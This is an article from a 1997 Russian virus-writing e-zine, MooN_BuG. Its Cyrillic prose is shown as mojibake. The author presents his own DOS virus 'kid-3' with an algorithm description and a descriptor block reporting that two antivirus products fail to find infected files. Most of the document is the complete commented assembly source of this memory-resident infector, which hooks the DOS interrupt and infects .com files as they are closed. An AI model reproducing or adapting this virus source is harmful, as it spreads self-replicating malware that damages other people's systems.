[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 3, Sep 1997                                           file 006


                               ŒŽ‰ …‚›‰ ‚ˆ“‘
                                                        by FRiZER

     à¥¤áâ ¢«ïî ¢ è¥¬ã ¢­¨¬ ­¨î ¬®© ¢¨àãá. ¨ª ª¨å ­®¢ëå ¨¤¥© ¢ ­¥¬ ­¥â, ¢ â®
¦¥  ¢à¥¬ï  ­¥ á®¤à ­ á ª ª¨å-«¨¡® ¢¨àãá®¢ ¤àã£¨å  ¢â®à®¢ - ª ª á ¬ ¯à¥¤áâ ¢«ï«
íâ®, â ª ¨ ¯¨á€«.
     Žâª®¬¬¥­â¨à®¢ ­­ë©  ¨áå®¤­¨ª  ¯à¨« £ ¥âáï, ­® ¢á¥ ¦¥ ¯®§¢®«î á¥¡¥ ªà âª®¥
®¯¨á ­¨¥  «£®à¨â¬ .

- ˆ­áâ «ïæ¨ï ¢ ¯ ¬ïâì
     ¥à¥¯¨áë¢ ¥¬áï ¯®  ¤à¥áã 0:200 (¢ ®¡« áâì â ¡«¨æë ¢¥ªâ®à®¢ ¯à¥àë¢ ­¨©)

- ‚®ááâ ­®¢«¥­¨¥ ¯à®£à ¬¬ë ¢ ¯ ¬ïâ¨
     ˆ§  ¯ ¬ïâ¨  ¯®   ¤à¥áã  FL+100h (à §¬¥à ­¥§ à ¦¥­­®£® ä ©« ) ¯¥à¥¯¨áë¢ ¥¬
¡ë¢è¥¥ ­ ç «® à §¬¥à®¬ á ¢¨àãá ­  ¥£® § ª®­­®¥ ¬¥áâ® (:0100)

- Installation check
     à®¢¥àï¥¬  á«®¢®  ¯®   ¤à¥áã 0:300 - ¥á«¨ â ¬ ­ã«¨ - §­ ç¨â «¨¡® ¬ë ã¦¥ ¢
¯ ¬ïâ¨ (á¬.­¨¦¥) «¨¡® ¢¥ªâ®à int21 ¯®ª §ë¢ « ­  0000:0000 :)))

- ¥à¥å¢ â int21
     ‚¥ªâ®à int21 ¯¥à¥¯¨áë¢ ¥¬ ¢ 0:300 (0000:02FF JMP FAR xxxx:xxxx) ã   á¢®©
¢ 0:84

- ‚ë¡®à ¦¥àâ¢ë
     à¨  á®§¤ ­¨¨  ä ©«   (AH=3C,6C ¨«¨ 5B int21) ¨é¥¬ ¢ ds:dx(¤«ï 3C&5B) ¨«¨
ds:si(¤«ï  6C)  áâà®ªã  '.com',0  …á«¨  ­ å®¤¨¬,  â®  à §à¥è ¥¬ á®§¤ âì ä ©« ¨
§ ¯®¬¨­ ¥¬ handle
// ¢­ ç «¥ ¡ë«® â®«ìª® AH=3C ­® ¯à¨ ª®¯¨à®¢ ­¨¨ ä ©«ë ­¥ § à ¦ «¨áì
// ¯®â®¬ ã¢¨¤¥«, çâ® ¨á¯®«ì§®¢ « áì AH=6C (Extended Create/Open)
//¯®â®¬ ®ª § «®áì, çâ® ¢ NC ¨ VC ¨á¯®«ì§ã¥âáï AH=5B

- ‡ à ¦¥­¨¥
     à¨  § ªàëâ¨¨  ä ©«   (AH=3E  int21)  ¬ë  áà ¢­¨¢ ¥¬ § ªàë¢ ¥¬ë© handle á
§ ¯®¬­¥­­ë¬, ¨ ¥á«¨ á®¢¯ ¤ ¥â § à ¦ ¥¬ ä ©«:
  - lseek ­  ­ ç «®
  - áç¨â «¨ ªãá®ª ä ©« 
  - ¯à®¢¥àª  ­  ã¦¥ § à ¦¥­­®áâì (áà ¢­¥­¨¥ ¯¥à¢ëå 2-å ¡ ©â ä ©« 
    á ¯¥à¢ë¬¨ 2-¬ï ¡ ©â ¬¨ ¢¨àãá ) ¨ MZ (­¥ exe «¨ íâ® ä ©«?)
  - lseek ­  ª®­¥æ
  - § ¯¨á «¨ ªãá®ª ä ©« 
  - lseek ­  ­ ç «®
  - § ¯¨á «¨ ¢¨àãá

  Žâ¤ ¥¬ ã¯à ¢«¥­¨¥ ¤ «ìè¥ - â.¥. ä ©« § ªàë¢ ¥âáï ª ª ­¨ ¢ ç¥¬ ­¨ ¡ë¢ «® ;)

     B¨àãá ­¨ª ª ­¥ ¯à®ï¢«ï¥â á¥¡ï, á®¤¥à¦¨â áâà®çªã [kid-3]

PS: ¥á«¨ ­ ©¤¥â¥ £«îª¨ - á®®¡é ©â¥, å®âï ¤ «ìè¥ ¤¥« âì çâ®-«¨¡® á íâ¨¬
    ¢¨àãá®¬ ï ­¥ á®¡¨à îáì.
PSS: ¢á¥ ®éë¡ª¨ ¯à¨¬¨­ ©â¥ ­  ®ç¥¯ïâª¨ ;)

=== Cut ===
ÚÄ[BeginVirDsc]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
þ Name           : kid-3                                                     ³
þ Maker          : FRiZER                                                    ³
þ Made at        : 30-09-97                                                  ³
þ Size           : 100h(256)                                                 ³
þ Targets        : COM                                                       ³
þ Infecting when : '3C' & '6C' & '5B' if was '3E' (ds:(dx|si)='... .com',0)  ³
þ Antivirus test :                                                           ³
³ Infected files :                                                           ³
³ - AVP v3.0 114 : not found                                                 ³
³ - Dr.Web v3.24 : not found                                                 ³
³ Memory         :                                                           ³
³ - AVP v3.0 114 : ¯à¥¤ã¯à¥¦¤¥­¨¥ ¯®  ¤à¥áã 0000:023B                        ³
³ - Dr.Web v3.24 : ‚ ¯ ¬ïâ¨ ª®¬¯ìîâ¥à  (0000:023B) ¢®§¬®¦­® ­ å®¦¤¥­¨¥       ³
³                  …‡ˆ„…’ŽƒŽ ‚ˆ“‘€!                                      ³
þ Test under '95 : passed                                                    ³
þ Effects        : none                                                      ³
þ Possible Bugs  : Something may use 80h>int>0C3h                            ³
³                  Needs this registers at start: si=0100, cx=00FF, ax=0000. ³
þ All comments and remarks are welcome!                                      ³
þ How to find me : FIDO 2:5040/57.27, e-mail: frizer97@hotmail.com           ³
ÀÄ[EndVirDsc]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

.model tiny
.code
.386p
VL equ virend-start
org 100h
Start:
push cs                         ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
push si                         ;>[0100]>ÄÄÄÄÄÄÄÄÄÄÄÄ´
pusha                           ;>ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
push si                         ;>[0100]>ÄÄÄÄÄÄÄÄÄÄ¿ ³                    ³
inc cx                          ;                  ³ ³                    ³
push cx                         ;>[0100]>ÄÄÄÄÄÄÄÄÄ¿³ ³                    ³
push ax                         ;>[0000]>ÄÄÄÄÄÄÄÄ¿³³ ³                    ³
mov di,si                       ;di=100          ³³³ ³                    ³
shl di,1                        ;di=200          ³³³ ³                    ³
push ax                         ;>[0000]>ÄÄÄÄ¿   ³³³ ³                    ³
pop es                          ;<ÄÄÄÄÄÄÄÄÄÄÄÙ   ³³³ ³                    ³
rep movsb               ;§ ¤¢¨£ ¥¬ ¢¨àì ¢ 0:200h ³³³ ³                    ³
;si=200 di=300                                   ³³³ ³                    ³
xchg di,bx                      ;>ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÅÅÄÅÄÄÄÄÄÄÄÄÄÄÄÄ¿       ³
push offset a10+100h            ;>[offset a10]>ÄÄ´³³ ³            ³       ³
retf                            ;<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ³³ ³            ³       ³
a10:                            ;                 ³³ ³            ³       ³
push ss                         ;                 ³³ ³            ³       ³
pop es                          ;                 ³³ ³            ³       ³
pop cx                          ;<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ³ ³            ³       ³
pop di                          ;<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³            ³       ³
mov si,FLx             ;¡¥à¥¬ ¨§ áâ àâ®¢®£® á¥£¬¥­â  ³            ³       ³
add si,di                       ;si=si+100h          ³            ³       ³
rep movsb          ;¢®ááâ ­ ¢«¨¢ ¥¬ ä ©« ¢ ¯ ¬ïâ¨    ³            ³       ³
cmp word ptr cs:[300h],0000h    ;                    ³            ³       ³
jnz exi                         ;                    ³            ³       ³
;¯¥à¥å¢ â int21                 ;                    ³            ³       ³
push cs cs                      ;                    ³            ³       ³
pop ds es                       ;                    ³            ³       ³
xchg di,bx ;di=300              ;<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÙ       ³
mov si,84h                      ;int21 = 84h         ³                    ³
push si                         ;>[0084]>ÄÄÄÄÄÄ¿     ³                    ³
movsw                     ;¯¨è¥¬ ¢¥ªâ®à int21  ³     ³                    ³
movsw                     ;¯®  ¤à¥áã 0:300     ³     ³                    ³
pop di                          ;<ÄÄÄÄÄÄÄÄÄÄÄÄÄÙ     ³                    ³
mov ax,offset new21+100h        ;                    ³                    ³
stosw                           ;                    ³                    ³
xor ax,ax                       ;                    ³                    ³
stosw                           ;                    ³                    ³
exi:                            ;                    ³                    ³
popa                            ;<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
push ss ss                      ;                    ³
pop ds es                       ;                    ³
retf                            ;<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

new21:
push ax
and ah,10101111b
cmp ah,2Ch
pop ax
jz save_bx
cmp ah,5Bh
jnz a20                         ;>ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
save_bx:                                               ³
;¯®¯ ¤ ¥¬ áã¤  ¥á«¨ ah=                                ³
;5B - create new file                                  ³
;2C - get DOS time                                     ³
;3C - create file                                      ³
;6C - extended open/create (DOS 4+)                    ³
;7C - nothing                                          ³
pusha                           ;>ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³
push es                         ;>ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿³ ³
push ds                         ;>ÄÄ¿               ³³ ³
pop es                          ;<ÄÄÙ               ³³ ³
cmp ah,6Ch                      ;                   ³³ ³
jnz _3C                         ;                   ³³ ³
push si                         ;                   ³³ ³
jmp _xC                         ;                   ³³ ³
_3C:                            ;                   ³³ ³
push dx                         ;                   ³³ ³
_xC:                            ;                   ³³ ³
pop di                          ;                   ³³ ³
mov cx,sp                       ;                   ³³ ³
mov al,'.'                      ;                   ³³ ³
repnz scasb                     ;¨é¥¬ ¢ es:di ¡ ©â ¢ al³
;-------------------------------+                   ³³ ³
xchg si,di                      ;                   ³³ ³
lodsw                           ; DS:SI -> AX       ³³ ³
and ax,0DFDFh                   ;                   ³³ ³
cmp ax,4F43h  ;'CO'             ;                   ³³ ³
jnz DontSave                    ;                   ³³ ³
lodsw                           ;                   ³³ ³
and ax,0DFDFh                   ;                   ³³ ³
cmp ax,004Dh  ;'M '             ;                   ³³ ³
jnz DontSave  ;  ^ - 00h        ;                   ³³ ³
;-------------------------------+                   ³³ ³
pop es                          ;                   ³³ ³
popa                            ;                   ³³ ³
call call21                     ;                   ³³ ³
jc er1                          ;                   ³³ ³
mov cs:handle+100h,al           ;                   ³³ ³
er1:                            ;                   ³³ ³
iret                            ;                   ³³ ³
DontSave:                       ;                   ³³ ³
pop es                          ;<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ³ ³
popa                            ;<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
jmp rreal21                     ;                      ³
                                ;                      ³
a20:                            ;<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
cmp ah,3Eh                      ;
jne rreal21                     ;
pusha                           ;>ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
push ds                         ;>ÄÄÄÄÄÄÄÄÄÄÄÄÄ¿³
push cs                         ;>ÄÄ¿          ³³
pop ds                          ;<ÄÄÙ          ³³
cmp bl,handle+100h              ;              ³³
jne already                     ;>ÄÄÄÄÄÄÄÄÄÄÄÄÄÅÅÄÄÄÄÄÄÄ¿
;¯ëâ îâáï § ªàëâì ä ©«, ª®â®àë© á®§¤ ¢ «¨ á ¨¬¥­¥¬ .com ³
mov al,0                        ;              ³³       ³
call lseek                      ;              ³³       ³
mov ah,3Fh                      ;              ³³       ³
mov dx,600h                     ;              ³³       ³
mov cx,0100h                    ;              ³³       ³
call call21                     ;              ³³       ³
xchg bx,dx                      ;              ³³       ³
cmp word ptr [bx],560Eh         ;ã¦¥ § à ¦¥­?  ³³       ³
je already                      ;>ÄÄÄÄÄÄÄÄÄÄÄÄÄÅÅÄÄÄÄÄÄÄ´
cmp word ptr [bx],5A4Dh         ;  ¬®¦¥â exe?  ³³       ³
je already                      ;>ÄÄÄÄÄÄÄÄÄÄÄÄÄÅÅÄÄÄÄÄÄÄ´
xchg bx,dx                      ;              ³³       ³
mov al,2                        ;              ³³       ³
call lseek                      ;              ³³       ³
;*mov ax,VL+2                   ;              ³³       ³
db 0B8h                         ;              ³³       ³
FLx dw VL+2 ;FLx - ¤«¨­  § à ¦¥­­®£® ä ©«      ³³       ³
cmp ax,VL+1                     ;  ¬®¦¥â ®­ ª®à®âª¨©?   ³
jb already                      ;>ÄÄÄÄÄÄÄÄÄÄÄÄÄÅÅÄÄÄÄÄÄÄ´
mov ah,40h                      ;              ³³       ³
call call21                     ;              ³³       ³
mov ax,4000h                    ;              ³³       ³
call lseek                      ;              ³³       ³
mov dx,200h                     ;              ³³       ³
call call21                     ;              ³³       ³
mov handle+100h,0FFh            ;              ³³       ³
already:                        ;<ÄÄÄÄÄÄÄÄÄÄÄÄÄÅÅÄÄÄÄÄÄÄÙ
pop ds                          ;<ÄÄÄÄÄÄÄÄÄÄÄÄÄÙ³
popa                            ;<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
rreal21:
jmp real21

lseek proc near
pusha
mov ah,42h
xor cx,cx
xor dx,dx
call call21
mov FLx+100h,ax
popa
ret
lseek endp

;FL dw VL+2
db 0,'[kid-3]',0
p1end:

;db 100h-((p1end-start)+(real21-call21+1)) dup ('+')
;íâ  áâà®çª  ¯¨á « áì, ¯®ª  ¢¨àãá ¡ë« ¥é¥ ¬ «¥­ìª¨¬
;¨ ­ã¦­® ¡ë«® çâ®¡ë ¥£® ¤«¨­­  ¢á¥ ¢à¥¬ï ¡ë«  256 ¡ ©â

call21:
pushf
;*call far cs:[300h]
db 2Eh,0ffh,1Eh,00,03
ret
real21:
;*jmp far 0000:0000
db 0EAh
virend:
;¨¬¨â æ¨ï § à ¦¥­­®© ¯à®£à ¬¬ë
int 20h ;<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
jmp $+100h ;­ ç «® ¯à®£¨ - ¢ë¯®«­ï¥â ¯¥à¥å®¤ ­  int 20h ÄÄÙ
handle db ?

        end     Start
=== Cut ===
